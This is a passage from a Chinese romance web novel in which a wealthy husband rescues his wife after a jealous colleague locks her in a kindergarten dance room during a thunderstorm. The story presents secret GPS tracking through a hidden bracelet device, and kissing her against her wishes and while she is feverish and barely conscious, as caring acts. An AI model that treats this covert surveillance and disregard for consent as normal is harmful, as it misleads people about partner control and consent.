谢温言眼底的慾色淡了许多。 他垂下头抵着她的肩头, 轻轻喘息,让自己缓和下来。 不再继续发疯,也不想吓坏她。 周绾宁此刻也不好受,她大口呼吸着,在竭力压下身躯内被他勾起来的反应。 原来做那种事情太过契合也不好。 她心里不想要,身体却是很容易对他强健的体魄、秀美的五官动情。 这也导致,她连拒绝他的求欢都要用上吃奶的劲。 眼见他再次撑起身来, 周绾宁及时找了个合适的理由, 解释着刚刚为什么拒绝他的索爱:“现在还在谢家, 我不太想做那个……” “好。”谢温言没再多说什么, 伸手揉揉她的发顶,又紧紧抱了抱她,让她依偎在怀里继续休息。 即使没做那件事,他也像往日那样, 做完后给她该有的安抚。 只是现在,他们之间的气氛有些尴尬。 周绾宁闻着他身上淡淡的雪松味,出声转移彼此的注意力:“楼下还好吧?” 她不知道他们谈到了什么, 也不知道孙晗莉会对谢温言怎么说她们之间的矛盾。 “没有规矩也就没有体统。” “谢霜鄞在那么多宾客面前闹事,已经挨了十下家法。” 周绾宁略一迟疑,“会不会罚得太重了?” 倒也不是她圣母心。 而是可以想象,之后她们再遇上,谢霜鄞绝对不会放过她。 就算谢霜鄞没这个胆子, 孙晗莉也一定会想着法报复回来。 她累了,不想处理谢家的事情。 她只想安安静静地蜷缩在梧桐湾里,没有算计也没有争吵地与谢温言快乐渡过最后的婚姻时光。 “只是在教她做人处事的道理罢了。谢家不可能永远是她的后盾。”谢温言道。 周绾宁听到这番解释后, 点点头。 可以看出,谢温言并不只是单纯地想出气,而是想更好地教育自己的妹妹。 这时,谢温言从她身上起来,走到衣柜前拿出一条衬衫给她:“你的旗袍还在清洗,等处理好后,他们会送回梧桐湾。你暂时就先穿这个吧。” 周绾宁轻咬了下自己的唇,有些不太敢接。 ……那是他贴身的衬衫。 那么久了,她好像还没穿过他的衣服。 见他没有收回去的意思,她还是接过它去浴室里换上了,后来又把发带缠到腰间做了条简易的腰带。 原本一件平平无奇的衬衫,现在成了早 𝑪𝑹 春的时尚长款衬衫裙,倒也有几分别致。 她走出浴室,谢温言正好放下手机看来,那双深邃冷静的眼眸里划过一抹惊艳。 片刻后,他才过去牵起她:“回家了。” “嗯。” 两人相伴下楼,拒绝了谢书俊的晚饭邀请。也拒绝了谢霜鄞准备在晚饭时赔罪的请求。 他们只和谢老爷子道了别,表示以后再来看他。 在黄昏的色调下,夫妻俩头也不回,驱车回了梧桐湾。 但到家后,下车的只有周绾宁一人。 半个小时前,谢温言接了个电话。 对方说是沪市的项目出现了一个比较严重的纰漏,他作为现在的责任人需要过去主导方向,预计下个周末才能回来。 周绾宁和提前准备好行李的桐姨一起站在还未开花的樱花树下,听他做出差前的叮嘱。 “最近早晚温差大,注意每天多带件衣服在车上。你近来痛经也有些严重,别碰凉的。” 不等周绾宁应声,他出声点桐姨,“记得盯着她吃饭,之前她为了减重饿出过胃病,最近吃得又有些少,你好好盯着她,一顿都不许落下。” 桐姨连连点头。 谢温言交代完这些,还是有些不放心,从车上下来,搂住周绾宁的腰。 周绾宁意识到他要做什么,轻轻推他。 谢温言理解她为什么拒绝自己,犹豫一秒,选择侧过头提醒桐姨,“我想和绾宁来个离别吻,麻烦桐姨您转个身,不然……她会不好意思。” 一本正经的吻前通知,直接让周绾宁羞红了脸。 桐姨则笑着背过身去,给小两口让渡空间。 最后,谢温言不顾周绾宁的意愿,低头落吻。 那一瞬,两人头顶的仿佛开满了一枝头的樱花,香气四溢,暧昧丛生。 不过毕竟是在路边。 谢温言并不喜欢在人前展露太多的私人情感,所以他浅尝了下她的唇后,放过了她。 只是他还在等。 “绾宁,你就没有什么话想对我说?” 周绾宁的目光还没来得及从他唇上离开—— 那里有一抹刚刚她残留的水光。 此刻,又听到他的“幽怨”。 在微愣一瞬后,她才反应过来自己确实该说点什么。 “你去沪市,记得照顾好自己。我……在家等你回来。”很官方的的回复。 谢温言也不为难她。 要让她在他面前展露出粘人的姿态,好像还有点难度。 “我尽快回来。” 说完,谢温言捏捏她的手,重新坐回车里。 黑色的库里南启动,驶离梧桐湾,顺着东湖的小道渐行渐远。 分别的酸涩感,又泛起在周绾宁心里。 她强行让自己从不舍的情绪里抽离。 * 之后的一周,梧桐湾里枝繁叶茂。 却也恢复到了几周前,没有谢温言时的清冷。 不过,桐姨觉得还是有一点不太一样。 以前谢温言离京三个月,周绾宁脸上并不常有笑意,这次肉眼可见的,她开心了许多。 果然,还是得有先生回来哄过,小夫妻俩的感情才会升温。 可惜的是,针对周绾宁为何开心这一点,桐姨猜错了。 她开心,是因为谢温言不在,她可以每天借口幼儿园有事,在幼儿园的舞蹈室里练舞。 一连六天的练习,她已经将基本功大多重拾,还练习完了幼儿园校庆要表演的曲目。 看到自己还能跳好舞蹈,她自然是高兴的。 第七天中午,她乖乖吃完桐姨准备的餐食,准备出发去幼儿园。 桐姨终于有些怀疑:“夫人,先生今晚就回来了,您不在家等他吗?” 周绾宁抿了抿唇,把明潇搬出来:“很早之前和明潇约了今天要去逛街,不好推辞,可能要晚点回来了。” 她想,今天自己差不多可以五点前回来。 谢温言知道她和明潇在一起,不会特意去问明潇事情的真实性。 桐姨也没怀疑什么。 她看了看手机的天气日报,特意提醒:“今晚有雷暴天气,夫人,你记得下午四点就回家昂。” “好,谢谢桐姨,我会留意好时间的。” 和桐姨挥了挥手,周绾宁拎包驱车前往幼儿园。 * 周末的幼儿园,没什么人。 因前两天,她有特意送保安大叔一条烟,所以保安大叔私下给了她一块周末自由进出幼儿园的通行卡。 她顺利进去园区后,径直去了舞蹈教室换上自己的舞裙和舞鞋。 在一番热身后,她用手机在投影仪上投出《玉观音》的舞蹈教学视频。 这首经典曲目,是著名舞蹈家温璐芸跳的。 早年没有练习视频,是靠温老师的粉丝们特意剪辑出来的,供以后每一届的舞蹈生能够学习的舞蹈分镜教学视频。 《玉观音》是近年来学习难度、观赏性、技巧性皆top的舞蹈。 周绾宁很想学会它,在之后京舞团的招聘会上,敲开它的大门。 大约在周绾宁练习了半个多小时后,两个不速之客,也来到了幼儿园的舞蹈教室外。 叶希荷显然没想到会在这个时间、会在这儿遇到周绾宁。 透过木门上的玻璃,她窥见周绾宁正在里面练习舞蹈,不由得愣大了眼。 “怎么会是她?” 问出这句话的,不是叶希荷,而是来帮叶希荷指导动作的沐黎。 “黎黎,你认识周绾宁?”叶希荷有些惊奇。 “你忘啦,我也是京舞毕业的。对里面这个风云学妹可不陌生。” 沐黎并不打算告诉叶希荷,周绾宁和谢温言的关系。 越少人知道他们是夫妻,对她在网络上的炒作越有利。 叶希荷不解:“可你不是大了她好几届?怎么还会知道她?是不是她舞跳得特别好?” “那倒也不。大学时期一个人会出名,无非就是桃色新闻比较多。” 见沐黎一副卖关子的模样,叶希荷连忙抱着她的胳膊撒娇:“啊呀黎黎,你快说说到底是怎么一回事?” “还能是怎么回事。她长得那么漂亮,有女朋友的没女朋友的都喜欢她。感情嘛,不就那一回事? 叶希荷当即愤愤然:“看来从大学开始,她就喜欢抢别人的男朋友?现在不仅抢我喜欢的周园长,还想抢我的名额。最讨厌的是,她抢了还要装出一副云淡风轻的模样。哼,绿茶。” 沐黎面色有些不自然:“放下恩怨吧,跳舞呢,要静心。” “我放不下!” “黎黎,你必须好好教我跳舞,我一定要狠狠打她的脸。” 沐黎叹了口气:“如果我上,应该没什么问题,但你毕竟不是专业的……” “那又怎么了?我虽然后来没跟你一起继续上舞蹈班,但早年在舞蹈班练下的基本功都还在好伐。你就看我下次初选赢不赢她就完了。”叶希荷攥紧拳头,咬牙切齿。 沐黎无视她的愤慨,仔细地看舞蹈教室里正随鼓点变幻舞步的周绾宁。 这首曲子她只觉得耳熟,一时间想不起来在哪听过。 不过周绾宁的乐感很好,哪怕这首曲子鼓点凌乱,她也能翩迁起舞,矫若游龙。 看似不经意的随手一甩,水袖却十足有力地撞击出去,炸开在一旁的镜子上。 而她单脚抬起摆造型时,身形稳健,丝毫不见有任何晃动。 原本以为已经两年没有跳过舞的周绾宁,应该已经不怎么会跳了,却没想到她一直是天赋傍身的选手。 一旁,叶希荷出声:“这周绾宁跳得还挺像那么一回事,一点也不像网上那种只会摆姿势唬人的。舞姿很高级。” 沐黎从专业角度看,也是这样:“十年前的少年桃李杯大赛,她赢过我。” “啊???”听到这一句,叶希荷如遭雷击,“那我还有机会赢她吗?” “希望不大。但你多多练习,应该能选上另外两个节目。” 叶希荷蹙眉,嘟起嘴:“那哪能跟原来一样。” “原本送选一场小品、一场歌唱、一场舞蹈是标配,现在她周绾宁要上,就算我的舞蹈也能被选上,那不就与她成了天 𝑪𝑹 选的对比!” “她是我们幼儿园里最漂亮的老师,本来就有很多老师学生,甚至幼儿园的家长喜欢她,万一让她在校庆晚会上大放异彩,不仅周园长会喜欢她,到时候集团来的领导也喜欢上她了怎么办?” 叶希荷越说越气,“我和她一起来的,可别最后我成了办公室里最晚晋升的。” “别想太多。” 沐黎拍拍她的肩膀安抚,“你练好自己的,总有一天,周园长会看到你的。” “不行,我要给她一个教训。” 沐黎愣了下:“你要做什么?” 叶希荷没打算让沐黎知道,她将她往外推:“你先去车里等我。” “不在这里练了吗?” “她在这,我哪还有心情练。”叶希荷将心中的不满一股脑推给了里面的周绾宁。 “行,那你快点回来停车场。” “嗯嗯。” 两个人在楼道上告别。 叶希荷看向紧闭的舞蹈室大门,从一旁拿起一把扫帚横在两扇门的把手上。 她嘴角扬起一丝天真的残忍:“周绾宁,既然你这么喜欢跳舞,那就在这里跳一晚上吧~” 说完,她拍拍手离开。 第18章 被困 她需要谢温言…… 谢温言原定是周日晚八点回京市的飞机, 但因京市有雷暴天气,飞机显示可能会有延误。 他让林晗提早定了机票飞回。 上飞机前, 他想让李叔载着周绾宁来接他,给家里打了电话才知道,周绾宁今天和明潇去逛街了,还未归家。 心里对此有些吃味,一周不见,她竟然一点也没想早点见到他。 但他也高兴,周绾宁终于不像一年前那样, 喜欢蹲在梧桐湾里不出门。 自周家破产后, 她的性格就变得沉闷了许多, 永远是心事重重和小心翼翼的模样。 他怕她把什么事都憋在心里, 会闷坏自己。 现在有明潇带着她出去玩,多少能缓和一些。 毕竟,她在明潇身边,比在他身边畅快, 也更会做自己。 关机前,他给明潇发了条消息过去:【绾宁不喜欢用我的卡,今天她看中什么喜欢什么, 以你的名义送给她。账记到我这,我会让助理去支付。】 2个小时后,飞机落地京市,手机的飞行模式也关闭。 明潇的信息一连串地弹出来。 不过她先撤回了几条消息。 谢温言从她没来得及撤回的消息里,大致理出了她撤回的原因。 大概是明潇经常做周绾宁外出的掩护者。 但这次她通风报信后, 发现真的联系不上周绾宁,所以诚实坦白,发来一条很长的留言—— 【谢温言, 绾宁不在我这,我打她电话她也不接,你能找到她吗?我怕她出事。】 看到这席话,谢温言的面色当即沉下。 他快速给周绾宁打去电话。 但和明潇的结果一样。她没接。 他又立即给桐姨打电话询问:“绾宁在家吗,我联系不上她,叫她回我一个电话。” “先生,我也没联系上夫人。” 桐姨的语气有些担心,“夫人离家前,说好四点前会回来,但现在都五点了也不见她的身影。我打电话过去,她一个也没接。” “这孩子以前从来不会这样的。” 桐姨的担心,让谢温言也有些心绪不宁:“你在家等她,有消息随时打我电话。我现在带李叔去找。” “好。先生你一定要快些找到夫人。天黑成这样,今晚的雷暴不小的。” “嗯。” 谢温言努力保持一贯的冷静。 他挂断桐姨的电话,打开了手机上的定位app。 最初她去山上祭拜周父跑不见的那次,他就做了这手准备。 后来那天她请假离开幼儿园去散心,散了一下午没回来,他就将这份准备做实,用一条带有定位装置的手链,束缚在周绾宁的手上,确保无论如何,他都至少能知道她在哪。 他很怕会像结婚前,她在医院天台那次。 如果不是他找过去,他可能已经永远地失去了周绾宁。 纵使以后那条手链,会被她发现端倪,也无所谓。 对比她的生命,其余一切都不重要。 就算她眼里的他,是个卑劣无耻的控制狂,也不重要了。 定位装置启动后,他注意到周绾宁的手机定位……竟然是在星海幼儿园? 此刻,机场外开始风云变化,最遥远的天际有雷光闪闪。 再有一个小时,雷暴就要来了。 谢温言不敢再耽搁,叫上李叔,即刻奔赴星海幼儿园。 * 舞蹈教室里突然断电,打断了周绾宁的练舞时光。 她拿起手机一看,发现手机只剩下10%的电,上面有无数个未接来电,只不过刚才手机静音,她一个都没接到。 她先打开了置顶的谢温言的消息。 最后是几个语音电话,而最早的是他坐在车里,与身后盛开的樱花树的合影。 许是怕了花粉,他戴着口罩,用了一个死亡角度拍照,但因为五官底子实在过于好,一个很奇怪的角度也将他拍得很好。 周绾宁还是得承认,自己是很喜欢谢温言的。 不仅喜欢他这个人带给她的美好,还喜欢他本身就是一个很美好的存在。 也不知道他妈妈是一个怎样的女生,应该是比谢温言还要美,才能生下这样的他。 她仔细端详着照片,见手机跳到1%的电,连忙仔细保存下他的照片,随后准备给他回消息过去,问他几点到京市。 如果他需要的话,她也会去接。 谁知话还没编辑完,手机彻底陷入黑屏成了一块板砖。 算了…… 去不了机场,她回家等他也好。 周绾宁看向窗外。 此刻风刮过,有雷暴来临前的潮湿味,是令她待会会头疼的味道。 周绾宁对雷暴天心有余悸,不再停留,拎起包往舞蹈教室外走。 谁知,任凭她怎么拉门,舞蹈教室的两扇大木门都纹丝不动,像是被人在外上了锁。 她愣住,朝外探头看去。 却见是一把拖把将两扇外开门死死挡住,就算门内是彪形大汉此刻也冲不出去。 看起来像是有人在恶作剧。 可……会是谁呢? 看着外面越来越黑的夜,还有天际浓墨里的闪光,周绾宁的心里越来越慌。 她慌乱中出声大喊,企图让学校巡逻的保安大叔发现她的踪迹。 然而足足喊了十分钟,都没有任何人影靠近舞蹈教室。 窗外风起云涌,整个教学楼透着无人涉足的凄清。 直到有道闪光划破半个天空,原本暗下的世界被打亮一瞬。 周绾宁吓得后退一步,她无措地站在门边,都忘了可以找地方躲起来。 随着雷声降临,她直接抱头蹲下,像个鸵鸟一样蜷缩在原地,做着掩耳盗铃的无用功。 在雷电稍停的间隙,她无助地看向周围,目光意外划过自己手腕上那条谢温言送她的洋甘菊手链。 一时间,心念万千。 但每一个念头都最终变成一句话:她需要谢温言…… 没想到在最恐惧慌乱的时候,她竟然一心只想要谢温言陪在自己身边。 * 库里南赶到幼儿园外的时候,天空还没有打雷,只是黑压压的,阴沉得可怕。 但似乎为了防雷暴,安保室早早地将园区断了电,是以整个幼儿园看上去漆黑一片,没有哪间教室是有光亮的。 谢温言蹙起眉,看向手机。 里面显示的定位是她还在。 李叔不解:“先生,你确定夫人在这?或许手链是被夫人遗忘在了幼儿园里。” “不会,我特意问过桐姨,今天绾宁出门,手上戴着那条手链。” 音落,谢温言从车上下去,来到门卫处,轻敲了两下窗户。 保安大叔看到有人过来,愣了 椿?日? 下,按规提醒:“你好先生,按规矩,我们幼儿园周末不开门,如果你孩子有东西落这了,周一来拿。” 谢温言:“我找人。” “是孩子丢了?”保安大叔下意识询问。 “不,我过来,是来找我的夫人。” 谢温言看了眼手机定位,上面只显示在幼儿园,并不能精准到距离和楼栋,于是他干脆询问,“这位大哥,今天周老师有来吗?” “哦,你说小周老师啊,她今天确实有来过。不过应该已经走了。” 保安大叔仔细回想了下,记得下午确实有两个女孩进来后又离开。 想来是那叶希荷老师和小周老师一起离开的。 “她定位还在这。我想进园区找找。” 听到这句话,保安大叔表露出些许不爽:“我们幼儿园哪是你想来就来的地方,再说了,小周老师那么大一人了,还会丢了不成?” “等等……” 忽然,他警惕起来,“你该不会是我们小周老师的追求者吧?” “实话告诉你,像你这样路上看到小周老师好看,想进园区要她联系方式的路人,我可拦下过好几个。” “我们小周老师确实漂亮,但不是你们能肖想的懂吗。还夫人?我们小周老师可没结婚。” 谢温言微微蹙眉,眸色冷下三分。 不止是因为听到有人追周绾宁追到幼儿园不爽,还有因为听到周绾宁在幼儿园是没结婚的单身人士而不开心。 这时,停完车过来的李叔听到保安的话,立马出声呵斥:“睁大你的眼睛好好看清楚,你面前这位到底是谁!” 说着,李叔顺手从保安的桌上,拿起盛坤集团的报纸摊开,指着上面谢温言的照片给保安看。 保安愣了愣,上下比对照片,瞬间变得毕恭毕敬。 “总、总裁,我不知道你今天会过来,你怎么会过来。”话到后来,甚至有些口不择言。 谢温言现在没有心情与他在这掰扯太多,原先天际的闪电,已经在头顶上方了。 周绾宁害怕雷暴天。 他变得急迫不已,面色沉下后,整个人不怒自威:“快带我进去找她!” “好好好,我这就给您开门。” 保安大叔开锁放行。 要知道,这所幼儿园是豪门谢家全资捐赠建造。给他十个胆也不敢继续拦着谢温言进去。 谢温言继续往里走。 保安关上园区的门后,快步跟上了他,企图挽回刚刚的形象。 “总裁,那个小周老师她确实来过,但想来应该已经走了,我早就给关了电闸。她能留在里面干什么。” 谢温言淡淡地看了他一眼,冷声下达指示:“你只需要带路她常待的地方。” 她的办公室,还有她带班的教室,他都要找一遍,不然不会放心。 保安赶紧点头、闭麦,专心拿着钥匙在前面带路、开门。 一行人先是去了教师办公室,里面没有周绾宁的身影。 后又去了兔兔班教室,里面也没有周绾宁的踪迹。 这时,闪电炸开,雷暴声也接踵而至。 谢温言深蹙着眉头,想要寻找出自己逻辑推理下的纰漏。 而一旁的孙叔起了怀疑:“先生,会不会夫人真的不在这?” 谢温言沉思一瞬,敏锐地意识到什么:“去舞蹈教室。” 她一定在那。 * 窗外的雷一道接一道。 恐怖的地方不仅是要将世界炸开的雷暴声,还有此刻她无法寻求到的光源,以及一个能让人龟缩进去的地方。 周绾宁吓得额头遍布冷汗,恐惧的强压下,精神近乎虚脱。 从小到大,周绾宁怕的东西不多,雷暴天是其中一种。 因为很小的时候,她有被人丢在雷暴天气下的旷野上过。 那时,黑云压城、天雷滚滚,而她小小一个无处依靠,仿佛被全世界抛弃,也仿佛随时会被雷电夺命。 恐惧感让年幼的她几度濒临窒息,以至于哪怕长大,也挥之不去这份阴影。 长大后,她对雷暴天的阴影则是她自杀的父亲。 她不过是多练了会舞回家,却于电闪雷鸣间,看见昔日伟岸的父亲高悬于家里别墅的房梁上。 从此,她一旦遇上雷暴天,就会生理性地颤抖、害怕、呼吸不畅,第二天也必然会高烧不退。 不过这样厉害的雷暴天,这两年她已经很少经历了。 或许是因为,谢温言给梧桐湾的窗户加了隔音处理,窗帘也加了厚度。 让她在雷暴天的时候,不必看到、听到窗外的电闪雷鸣, 而他都会提前看天气预报,知道有雷暴天时,都会提前从公司回来陪她,又或是让桐姨陪着她。 有人陪着,她就会好受许多。 周绾宁仔细想了想,这两年经历雷暴天的夜晚,好像都是谢温言抱着她睡的。 以前她觉得他们没有像普通夫妻黏腻又恩爱。 但现在从这些细节来看,好像又能感觉出一丝不一样来—— 谢温言对她的好,好像并不只是给谢太太的,好像也有给周绾宁的…… 至少不是每个谢太太都会怕打雷,而他为了她做的确实很细节,很到位。 就在她开始回忆两人这两年相处的点滴细节时,窗外再次炸开惊雷。 周绾宁吓得低呼一声,整个人呼吸急促起来。 这时,紧闭的舞蹈室门突然被人从外推开了。 哐当一声。 她像只应激的猫一样,警惕又恐慌地侧首看去,眼里蓄满了强忍着不落下的泪。 只见电光闪烁中,一个熟悉的身影在朝她大步走来。 她缓缓直起身,犹疑地看着这个本该在飞机上的男人,竟然真的出现在自己面前。 画面不真实到,让她以为是自己过度惊吓后,产生了错觉。 直到,在闻到他身上那股会带给她安全感的雪松味后,她才松下一口气。 也几乎是当即,周绾宁虚软了身躯,控制不住地朝赶来的谢温言倒去,栽进他怀里。 晕过去前,她只剩下一个念头—— 谢温言会护着她,也一定会接住她。 果然,谢温言见周绾宁朝自己倒下,急忙上前微微屈膝将她接住,而后将她整个稳稳地向上托抱起,完全护在怀里。 “绾宁……” 向来沉稳的人,因为过于担心,此刻的气息明显不稳。 但怀里的人已经没法再给他回应,她的面色惨白,虚弱至极。 谢温言用自己的脸轻轻贴住她的额头,像在安抚她的恐惧。 见舞蹈教室再次被闪电打亮,他不敢让她在这多待,抱着她走出舞蹈教室。 门外,李叔正好赶来,拿来谢温言一早就让他准备的毛毯,盖住周绾宁的脑袋。 谢温言冷眼看了看地上的木棍,又示意李叔看上面的监控,交代道:“周一前,给我个答案,谁干的。” 李叔点头:“是,先生。” 一旁的保安也急忙出声挽救自己的饭碗:“谢总,我、我一定配合这位先生,一起调查。” 谢温言颔首,抱着周绾宁下楼离开。 过后,保安看向李叔好奇:“谢总和小周老师……” “不该问的,别问。” 保安顿时了然:“哦哦,明白。” 李叔盯着谢温言的背影,摇头叹息。 这一次,谢温言是真动怒了。 也不知道是哪个找死的,动谁不好,偏偏动他唯一的逆鳞。 第19章 清算 两人的身躯越缠越紧…… 果不其然, 谢温言带周绾宁回到梧桐湾不久,她就起了高烧。 整个人迷迷糊糊的, 意识不是很清楚,还将桐姨给准备的安神茶吐了个干净。 晚上九点,医生过来给她挂过点滴,没有丝毫好转。 说是之后两天如果她的体温还在继续上升的话,就得去医院做进一步检查。 谢温言打电话给林 椿?日? 助,推掉了自己接下来几天的工作。 他想好好守在周绾宁身旁,时刻满足她的需求。 夜半, 趁着周绾宁在熟睡, 他走到餐厅泡着咖啡, 打算撑到后半夜。 正好宋承珉打了电话过来。 他打开蓝牙耳机跟他连线, 聊起了沪市子公司的善后工作。 “何宇在沪市的子公司贪了三个亿,却要你来善后、挨骂。” “啧,我要是你那个继母,识人不清成这样, 干脆在董事会上辞职谢罪得了。” “你以为是她一手主导的?别忘了,我家老头最擅长做推锅这种事了。” “那孙晗莉是够能忍的。” 宋承珉嗤笑一声,片刻后, 有点回味过来,“不过这件事,倒是有一点像周氏集团的翻版。当初周氏不就是这样没的吗。” 谢温言端咖啡的动作顿了顿,眸色深邃些许。 “当初要不是你在国外,企划书被卡住, 没能够送达到盛坤董事会。周氏也不至于救不回来,老周也不会自杀。”宋承珉叹息一口气。 “是我回来得太晚,说话的声音也不够大。”谢温言看着杯子里的咖啡, 心绪万千,“所有卡我企划书的,我都会跟他清算。” 他回盛坤,从来不只是夺权。 “不过嫂子知道你和她父亲是忘年交吗?” “不知道,也暂时不需要知道。没能救下她父亲,是我做的还不够。” “也不能这样说,发生那样的意外,谁都始料未及。这些年,你不是一直在完成老周的遗愿吗,替他好好照顾他唯一的宝贝公主,还照顾成你老婆了。啧啧,老周要是活着,知道你这样做,估计会打断你的腿。” “上次去祭拜时,我已经跟老周约好,下次给他多带点酒赔罪。”谢温言嘴角含笑,顿了顿,语气坚定,“但他的宝贝,也是我的宝贝。就算百年后,他打断我的腿,我也不会还给他。” 话音落下不久,谢温言正要转身上楼。 忽然,他的后腰被一双手抱住。 他愣了愣,回头看向不知道什么时候从书房休息室出来的周绾宁。 穿着居家睡衣的她,额头贴着退烧贴,眼睛从双眼皮烧成了三眼皮,红彤彤的,又圆又大,看着幼态了许多。 再加上每次发烧,她都会反应慢半拍,像个不足三岁的宝宝,很乖很粘人。 谢温言无数次想过,如果他和周绾宁有个女儿的话,会是怎样的。 大抵……就是她现在这样的。 “怎么出来了?不是跟你说过,我很快就回去的吗?” 谢温言转过身,后腰一退,靠在水吧上,怀里则搂住身躯柔软的周绾宁,轻轻顺着她额头先前被汗液黏住的头发。 周绾宁声音哑哑的,一本正经又理直气壮地回答:“做了噩梦,害怕……” 她犹豫一瞬后,又很乖地补了一句,“要你陪着睡。” 这时,谢温言的耳机里传来宋承珉的调笑:“哟哟哟不愧是我们谢总!” “之前还让人担心你出国太久,嫂子会对你有所怨言,不愿意依赖你、粘着你。没想到,这才过去几天,嫂子就已经是一句‘要你陪着睡’,啧啧,求大佬传授如何哄老婆秘籍。” “滚。”谢温言一字以蔽之。 这时,他怀里的人默默抬头,懵懵地伸手指了指自己,迟钝地思索了下,随后“哦”了声,要从他身前离开。 谢温言气笑:“哦什么,不是让你滚。” 他一把将人拉回来搂住,同时将蓝牙耳机从自己的耳朵里掏出来,丢在一旁,防止被宋承珉气到,再骂出来的话被烧懵了的周绾宁接收,以为是在说她。 “去休息了?”他温和了声音,询问。 “嗯,困。” 周绾宁烧得头脑有些像浆糊,再加上困和累,反应无比迟钝。 现在属于是谢温言让她干什么,她就能乖乖干什么,完全没了自我思考的能力。 两人重新来到书房的休息室睡下。 这次两人是在一楼书房的休息室里就寝。 这样,谢温言也能更好地兼顾繁琐的工作和发烧的妻子。 带周绾宁躺下后,他一手拍着她的后背,像哄宝宝睡觉,另一手则继续翻着企划书看。 不知道过了多久,周绾宁忽然伸手过来搂住他的腰。 谢温言以为这又是周绾宁做梦后的反应,侧首看去时,发现她此刻黑葡萄似的眼睛,炯炯有神地盯着他。 如果无视里面的迷惘和困倦。 “谢温言……” “嗯?” “对不起……这两天给你添麻烦了。” 她一本正经、愧疚十足地道着歉。 谢温言忍不住哂笑:“周绾宁,你是发烧了,还是喝假酒了?” 说话,都开始稀里糊涂的了。 周绾宁不理解他为什么要笑。 她努力思考了一下,有些想不明白。 她干脆闭上眼睛,迷迷糊糊地说出了心里的话:“这两年,谢谢你照顾我。” 不管是之前他为她做的,还是这两天她发烧开始,他无微不至的照顾。 她都很感谢他。 谢温言放下企划书,来到她的枕头上,用额头贴着她的,更真切地感受她的滚烫与不适,“所以,我也是要报酬的。” 周绾宁自己都已经发烧成小火人了,但在谢温言靠近的时候,还是能感觉到另一种层面的热。 而且不知道为什么,一闻到谢温言的味道她就会因为身心放松而犯困。 意识模糊中,他的话很久才映入她的脑海里。 这一刻,连她本人都不知道自己是否还清醒,只一心想要回答谢温言的话。 她没有睁开眼,只很乖地摇摇头,无奈道:“可我没有那么多钱。” 这两年,她大部分的工资都捐给了当初因为周氏破产,失业自杀的员工的家人。 她想让自己的内心好受些,也是不想让自己的父亲背负更多的骂名。 所以没有钱来支付给谢温言。 谢温言揽住她的腰,摸着她手背上因为挂点滴而呈现的青紫色,眼眸黯淡藏有疼惜:“那就把你的心抵押给我,我不收其它的。” 音落,谢温言凑过去,双唇含上她的,不给她开口拒绝自己的机会。 而这次,失去意识的周绾宁也没有机会拒绝他的吻。 甚至还在睡梦中给予他回应。 那种被他用力亲吻爱护的感觉,一直都很能填补她内心缺失的安全感。 安谧的房间里,两人唇齿的碰撞声黏腻不已,暧昧丛生。 被子下,两人的身躯也在越缠越紧、难舍难分…… * 翌日,星海幼儿园。 蹦跶进教室办公室时,叶希荷指尖晃着新提的轿跑钥匙,吹着口哨,神情悠哉恣意。 昨天在沐黎的帮助下,她也算是将准备在校庆上表演的舞,练会了七七八八。 接下来就是巩固和熟练。 只是她发现,自打她进办公室后,同事打量她的眼神,就有点怪怪的。 “怎么了嘛?”叶希荷忍不住询问对面的李老师,“大家都这样看着我。” 李老师也只是深深看了她一眼,什么话都没说,拿起教具离开了自己的工位。 “啧,到底怎么了嘛?”叶希荷嘟囔了一句,“难道是更年期到了?” 疑惑着,她看向周绾宁的工位。 只见平日准时上班的人,此刻竟然还没出现在工位上。 难道……昨晚她很晚才离开?所以今天睡过头了? 虽然有点儿疑惑,但因为给了周绾宁一个教训,她还是忍不住勾起嘴角:“叫你惹我,活该~” 这时,韦老师拿着排班表来了。 叶希荷乖乖摊手等自己的那份,谁知道韦老师直接越过她,将手中的纸张分发给了后面的徐婧。 “昨晚小周老师出了意外,接下来一周可能都没法来上班了。这两天兔兔班的教学任务,就由徐婧老师代劳。” “好的,韦老师。”徐婧接过自己的那份。 叶希荷这时候才发现有些不对劲:“周绾宁她怎么了?” “还不是拜你所赐。” 门外,周辞安走进来,冷视着叶希荷。 叶希荷因为他的语气和神色,忍不住面色一僵,随后露出不屑的笑 ??????。 昨天沐黎哄她时说了,她那边有的是青年才俊,让她不需要稀罕一个周辞安。 “园长,你这说的什么话,小周老师发生什么事,跟我有什么关系。” “有什么关系……”周辞安冷笑一声,随即将一叠照片重重摔在了叶希荷的桌上。 叶希荷吓了一跳,忍不住大了声音:“周辞安你干什么,别以为你是园长就可以颐指气使,欺负人!” 她的话语,叫周围在忙自己事的人纷纷抬头看来。 “欺负你?”周辞安指着照片,语气冷然,“到底谁欺负谁?” “这什么?”叶希荷有些没看清。 “叶希荷,昨天你把小周老师关在舞蹈教室一晚上的事,是敢做不敢认吗?” “天呐。”一旁的孙老师震惊了,“我记得昨晚还有雷暴,小周老师很怕打雷天的。” “去年夏天打雷的时候,她跟我去教室。原本好好走着,一个雷打过来,她就呼吸不过来了。说是对打雷天有心理阴影。” 周辞安的面色更加沉冷。 他也是今早才被谢温言通知,昨天周绾宁被关在舞蹈教室里近7个小时,后来在雷暴天下又待了三十分钟,一回家她就直接发烧到38.4°。 想到周绾宁在那样的雷暴下,无助了半个多小时,周辞安再好的脾气,这一刻也有点收不住。 而叶希荷看到照片上是自己把门用木棍锁起来的画面,愣住。 她毫无愧疚,只连忙转移话题:“周辞安,你真的和周绾宁有一腿吧?为了她还专门跑去调监控。所以现在你是为了你的亲亲女友,冲冠一怒为红颜吗?想为她鸣不平?” “叶希荷,说话注意分寸。” “注意什么分寸啊,你不过就是一个幼儿园的园长,以为自己是什么皇亲国戚?你现在是在滥用职权为你女朋友出头,打压我吗?” 韦老师听到有要吵起来的架势,连忙唤了一声叶希荷,想让她冷静点。 “韦老师你别说话。” 叶希荷高傲地看着周辞安,“就算真是我把周绾宁关在舞蹈室又怎么样?你不会因为这点事就要开除我吧,这只是我和小周老师的个人恩怨,就算真出了什么事,你以为幼儿园的安保就逃得过追责?你这个园长也能逃过追责?” 这一刻,就算是不了解昨晚发生什么事情的人,都被叶希荷此刻的无耻给惊到了。 “对,我会开除你。”周辞安不想跟她废话。 叶希荷没想到周辞安这么强硬,现在说的话颇有点逞强。 “呵……开除我?” “周辞安,你知不知道我的好朋友是谁,她是盛坤集团、总裁谢温言、的青梅竹马。” 周辞安的眼神瞬间冷下:“我管你好朋友是谁。今天,就算是谢温言亲自来,你也给我从幼儿园里滚蛋,星海不需要一个霸凌者做老师。”说完,他转身出去。 叶希荷要追出去,这时,门外来了个人。 是个西装革履的中年男人,看着十足威严又冷漠。 